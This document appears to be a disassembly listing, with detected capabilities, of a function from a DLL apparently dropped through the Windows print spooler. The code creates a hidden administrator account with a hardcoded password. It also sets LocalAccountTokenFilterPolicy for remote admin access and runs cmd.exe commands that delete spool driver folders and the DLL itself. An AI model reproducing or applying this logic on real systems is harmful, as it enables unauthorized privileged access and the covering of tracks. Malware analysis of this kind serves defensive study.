Function at 0x1800012a0
Capabilities:
Add user account
Add user account to group
Create process on windows
Create process suspended
Delete user account
Get user security identifier
Move file
Query or enumerate registry value
Self delete
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x820]
sub rsp, 0x920
mov rax, qword [0x180022008]
xor rax, rsp
mov qword [rbp + 0x810], rax
xor eax, eax
mov word [rsp + 0x70], 0x10f
lea r8, [rsp + 0x70]
mov dword [rsp + 0x79], eax
mov word [rsp + 0x7d], ax
lea r9d, [rax + 2]
call fcn.180001990
test al, al
je 0x18000167f
mov qword [rsp + 0x930], rbx
lea r8, str.u3TE58zbjcCRzF
mov qword [rsp + 0x938], rdi
lea rcx, [rbp + 0x200]
xor edi, edi
mov edx, 0x100
mov dword [rsp + 0x74], edi
call fcn.180008658
test eax, eax
je 0x180001320
mov ebx, edi
jmp 0x180001387
lea r8, str.pentera_zl2y853ust
mov edx, 0x100
lea rcx, [rbp]
call fcn.180008658
test eax, eax
je 0x18000133d
mov ebx, edi
jmp 0x180001387
lea rax, [rbp]
mov dword [rbp - 0x5c], 1
mov qword [rbp - 0x70], rax
lea r9, [rsp + 0x74]
lea rax, [rbp + 0x200]
mov dword [rbp - 0x48], 0x10001
xorps xmm0, xmm0
mov qword [rbp - 0x68], rax
lea r8, [rbp - 0x70]
mov qword [rbp - 0x40], rdi
mov edx, 1
xor ecx, ecx
movdqu xmmword [rbp - 0x58], xmm0
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
mov ebx, edi
sete bl
mov r9d, 2
mov byte [rsp + 0x70], 1
lea r8, [rsp + 0x70]
mov byte [rsp + 0x71], bl
call fcn.180001990
test ebx, ebx
je 0x18000148a
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x74], 0x100
lea rcx, str.S_1_5_32_544
call qword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidW]
test eax, eax
je 0x180001477
mov rdx, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x74]
lea rax, [rsp + 0x74]
xor ecx, ecx
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x200]
lea rax, [rbp + 0x400]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov rcx, qword [rsp + 0x50]
mov ebx, edi
test eax, eax
setne bl
call qword [sym.imp.KERNEL32.dll_LocalFree]
test ebx, ebx
je 0x180001477
lea rax, [rbp - 0x80]
mov dword [rsp + 0x74], 0x100
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x74]
lea rax, [rsp + 0x74]
xor ecx, ecx
mov qword [rsp + 0x28], rax
lea r8, [rbp]
lea rax, [rbp + 0x400]
lea rdx, str.pentera_zl2y853ust
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x180001477
lea r8, [rbp]
xor ecx, ecx
lea rdx, [rbp + 0x200]
call qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMember]
test eax, eax
jne 0x180001477
lea ebx, [rax + 1]
jmp 0x18000148c
lea rdx, str.pentera_zl2y853ust
xor ecx, ecx
mov ebx, edi
call qword [sym.imp.NETAPI32.dll_NetUserDel]
jmp 0x18000148c
mov ebx, edi
mov r9d, 2
mov byte [rsp + 0x70], 2
lea r8, [rsp + 0x70]
mov byte [rsp + 0x71], bl
call fcn.180001990
lea rax, [rsp + 0x50]
mov r9d, 0x20007
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1800014d7
mov ebx, edi
jmp 0x180001576
mov rcx, qword [rsp + 0x50]
lea rax, [rbp - 0x7c]
mov qword [rsp + 0x28], rax
lea rdx, str.LocalAccountTokenFilterPolicy
lea rax, [rbp - 0x80]
mov dword [rsp + 0x74], 1
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp - 0x7c], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 2
jne 0x18000151c
mov byte [rsp + 0x7a], dil
jmp 0x180001539
test eax, eax
jne 0x1800014d0
mov eax, dword [rbp - 0x80]
cmp eax, dword [rsp + 0x74]
jne 0x180001530
mov byte [rsp + 0x7a], 2
jmp 0x180001539
mov byte [rsp + 0x7a], 1
mov dword [rsp + 0x7b], eax
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x74]
mov dword [rsp + 0x28], 4
lea rdx, str.LocalAccountTokenFilterPolicy
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
sete bl
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 7
mov byte [rsp + 0x78], 3
lea r8, [rsp + 0x78]
mov byte [rsp + 0x79], bl
call fcn.180001990
mov r9d, 2
mov word [rsp + 0x70], 0x105
lea r8, [rsp + 0x70]
call fcn.180001990
lea rcx, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__rmdir__s__q_C:WindowsSystem32_spooldriversx643Old
call fcn.1800016a0
lea rcx, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__rmdir__s__q_C:WindowsSystem32_spooldriversx643New
call fcn.1800016a0
xorps xmm0, xmm0
lea r9, str.C:WindowsSystem32_spooldriversx643hQeUv.dll
xor eax, eax
lea r8, str.cmd.exe__C_ping_127.0.0.1__n_1__w_3000___Nul__Del__f__q___s_
mov edx, 0x208
mov qword [rbp - 0x10], rax
lea rcx, [rbp + 0x400]
mov qword [rsp + 0x68], rax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rsp + 0x58], xmm0
call fcn.180001010
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x400]
lea rax, [rbp - 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, str.C:WindowsSystem32_spooldriversx643hQeUv.dll
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov rdi, qword [rsp + 0x938]
mov rbx, qword [rsp + 0x930]
mov rcx, qword [rbp + 0x810]
xor rcx, rsp
call fcn.180001ba0
add rsp, 0x920
pop rbp
ret